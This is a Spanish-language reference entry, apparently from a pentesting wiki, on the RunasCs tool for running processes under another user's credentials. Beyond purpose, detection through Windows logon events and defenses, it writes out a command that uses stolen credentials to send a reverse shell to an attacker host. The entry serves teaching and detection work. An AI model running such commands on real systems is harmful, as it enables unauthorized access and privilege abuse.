RunasCs
RunasCs es una utilidad de código abierto (un .exe de C#) que ejecuta un programa como otro usuario aportando sus credenciales, igual que el runas nativo de Windows pero pensado para pentesting y sin sus limitaciones.
Para qué sirve. Es la pieza que cierra el círculo cuando se obtiene una contraseña (o un hash) de un usuario más privilegiado pero no se tiene su sesión interactiva. Por ejemplo, una credencial filtrada en un fichero de configuración, en el historial de PowerShell o, como en Crafty, hardcodeada en un plugin .jar. Con esa contraseña, RunasCs lanza un proceso bajo la identidad de ese usuario.
Por qué no basta el runas nativo. El runas.exe de Windows exige una sesión interactiva (escribe la contraseña por consola, no admite pasarla por parámetro) y falla cuando el atacante opera desde una shell no interactiva (una reverse shell de una webshell, por ejemplo). RunasCs resuelve eso: acepta la contraseña como argumento y crea el token mediante CreateProcessWithLogonW / LogonUser, funcionando sin escritorio interactivo.
Uso típico, devolviendo directamente una reverse shell con la opción -r:
.\RunasCs.exe <user> <pass> cmd.exe -r <lhost>:<lport>Salida característica que confirma el éxito:
[+] Running in session 1 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: WinSta0\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1020 created in background.Relación con otras técnicas. RunasCs necesita la credencial: no la obtiene, la usa. Suele ser el último eslabón tras una fuga de información o una reutilización de credenciales. Se diferencia de Pass-the-Hash en que normalmente parte de la contraseña en claro (aunque algunas variantes aceptan hash), y de los abusos de privilegio tipo Potato en que aquí ya conocemos las credenciales: no hay que robar un token, solo usar un login legítimo.
Cómo detectarlo. La firma en el registro de seguridad de Windows es un 4648 ("inicio de sesión con credenciales explícitas"), poco común en flujos normales, acompañado de un 4624 con LogonType 2 (interactive) o 9 (NewCredentials) originado por un proceso que no es un login legítimo. En el 4688/Sysmon Event ID 1 aparece RunasCs.exe (o un cmd.exe -r) con un proceso padre anómalo (una webshell, w3wp.exe, una reverse shell), y el hijo corre bajo la identidad del usuario objetivo. Muchos AV/EDR marcan el binario de RunasCs por firma. La secuencia 4648 -> 4624 -> proceso hijo como otro usuario, todo desde un padre no interactivo, es el patrón.
Defensa. Política de contraseñas robustas y únicas por cuenta, no almacenar secretos en código ni en ficheros legibles, y monitorizar los eventos 4624/4648 (inicios de sesión con credenciales explícitas) que delatan este patrón. Relacionado con la reutilización de credenciales y con Pass-the-Hash.